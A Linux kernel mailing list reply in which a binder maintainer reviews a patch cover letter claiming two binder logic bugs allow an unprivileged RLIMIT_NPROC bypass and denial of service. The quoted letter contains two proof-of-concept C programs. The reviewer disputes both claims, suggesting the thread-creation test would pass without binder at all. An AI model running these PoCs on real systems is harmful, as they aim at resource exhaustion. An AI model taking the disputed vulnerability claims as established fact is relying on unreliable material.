Re: [PATCH 0/4] binder: cap max_threads and reject duplicate looper entry
From: Alice Ryhl
Date: Wed Jun 03 2026 - 14:58:18 EST
On Wed, Jun 3, 2026 at 8:02 PM Yunseong Kim <yunseong.kim@xxxxxxxx> wrote:
>
> Two logic bugs in the Android binder driver (both C and Rust implementations)
> allow an unprivileged userspace process to bypass RLIMIT_NPROC and exhaust
> kernel memory, leading to system-wide denial of service.
>
> Bug 1: BINDER_SET_MAX_THREADS has no upper bound check
> Bug 2: BC_ENTER_LOOPER accepts duplicates without error
>
> These were discovered using kcov-dataflow [1], a per-task function boundary
> extraction tool that captures argument values at -O2 where other tools
> (KASAN, ftrace, edge coverage) cannot detect logic errors.
>
> [1] https://github.com/yskzalloc/kcov-dataflow
> [2] https://lore.kernel.org/all/20260603-kcov-dataflow-next-20260603-v2-0-fee0939de2c4@xxxxxxxx/
> [3] https://github.com/llvm/llvm-project/pull/201410
>
> --- Userspace PoC (To-Ulimit-and-Beyond.c) ---
>
> /*
> * To-Ulimit-and-Beyond: Demonstrates both bugs from unprivileged userspace.
> * Build: gcc -static -o To-Ulimit-and-Beyond To-Ulimit-and-Beyond.c
> * Run: ulimit -u 50; ./To-Ulimit-and-Beyond
> *
> * Expected (before fix):
> * VULNERABLE: kernel accepted max_threads=4294967295!
> * VULNERABLE: duplicate BC_ENTER_LOOPER accepted!
> *
> * Expected (after fix):
> * PATCHED: kernel rejected the value
> * (second BC_ENTER_LOOPER marks thread INVALID internally)
> */
>
> struct binder_write_read {
> int64_t write_size, write_consumed;
> uint64_t write_buffer;
> int64_t read_size, read_consumed;
> uint64_t read_buffer;
> };
>
> int main(void)
> {
> int fd = open("/dev/binderfs/binder", O_RDWR);
> if (fd < 0) fd = open("/dev/binder", O_RDWR);
> if (fd < 0) { perror("open binder"); return 1; }
> mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);
>
> printf("pid=%d uid=%d\n", getpid(), getuid());
>
> /* Bug 1: SET_MAX_THREADS with no upper bound */
> uint32_t max = 0xFFFFFFFF;
> int ret = ioctl(fd, BINDER_SET_MAX_THREADS, &max);
> printf("[Bug 1] SET_MAX_THREADS=0xFFFFFFFF: %s (errno=%d)\n",
> ret == 0 ? "VULNERABLE" : "PATCHED", ret < 0 ? errno : 0);
>
> /* Bug 2: BC_ENTER_LOOPER duplicate */
> uint32_t cmd = BC_ENTER_LOOPER;
> struct binder_write_read bwr = {
> .write_size = sizeof(cmd),
> .write_buffer = (uint64_t)(unsigned long)&cmd,
> };
> ioctl(fd, BINDER_WRITE_READ, &bwr);
> bwr.write_consumed = 0;
> ret = ioctl(fd, BINDER_WRITE_READ, &bwr);
> printf("[Bug 2] BC_ENTER_LOOPER x2: ret=%d (thread now INVALID if patched)\n", ret);
>
> close(fd);
> return 0;
> }
So invoking BC_ENTER_LOOPER twice doesn't error and the second call is
a no-op. What's the problem?
> --- ulimit bypass PoC (beyond_ulimit.c) ---
>
> /*
> * Demonstrates RLIMIT_NPROC bypass via binder.
> * With ulimit -u 50, creates 300 threads.
> * Build: gcc -static -pthread -o beyond_ulimit beyond_ulimit.c
> * Run: ulimit -u 50; ./beyond_ulimit
> */
>
> struct binder_write_read {
> int64_t write_size, write_consumed;
> uint64_t write_buffer;
> int64_t read_size, read_consumed;
> uint64_t read_buffer;
> };
>
> static void *binder_thread(void *arg)
> {
> int fd = open("/dev/binderfs/binder", O_RDWR);
> if (fd < 0) fd = open("/dev/binder", O_RDWR);
> if (fd < 0) return NULL;
> mmap(NULL, 128*1024, PROT_READ, MAP_PRIVATE, fd, 0);
> uint32_t max = 0xFFFFFFFF;
> ioctl(fd, BINDER_SET_MAX_THREADS, &max);
> uint32_t cmd = BC_REGISTER_LOOPER;
> struct binder_write_read bwr = {
> .write_size = sizeof(cmd),
> .write_buffer = (uint64_t)(unsigned long)&cmd,
> };
> ioctl(fd, BINDER_WRITE_READ, &bwr);
> close(fd);
> return NULL;
> }
>
> int main(void)
> {
> printf("pid=%d uid=%d\n", getpid(), getuid());
> int created = 0;
> pthread_attr_t attr;
> pthread_attr_init(&attr);
> pthread_attr_setstacksize(&attr, 16384);
> for (int i = 0; i < 300; i++) {
> pthread_t t;
> if (pthread_create(&t, &attr, binder_thread, NULL)) break;
> pthread_detach(t);
> created++;
> }
> usleep(500000);
> printf("Threads created: %d (ulimit was 50)\n", created);
> if (created > 50)
> printf("VULNERABLE: RLIMIT_NPROC bypassed!\n");
> return 0;
> }
My understanding is that the only thing BINDER_SET_MAX_THREADS does is
cause the kernel to tell userspace "please spawn more threads" when
all threads are in use and there are incoming transactions. I don't
understand how it helps by pass ulimit. Did you try running your test
with the Binder ioctl removed? I'd guess that if it passes now, it
still passes with the Binder ioctl deleted.
Alice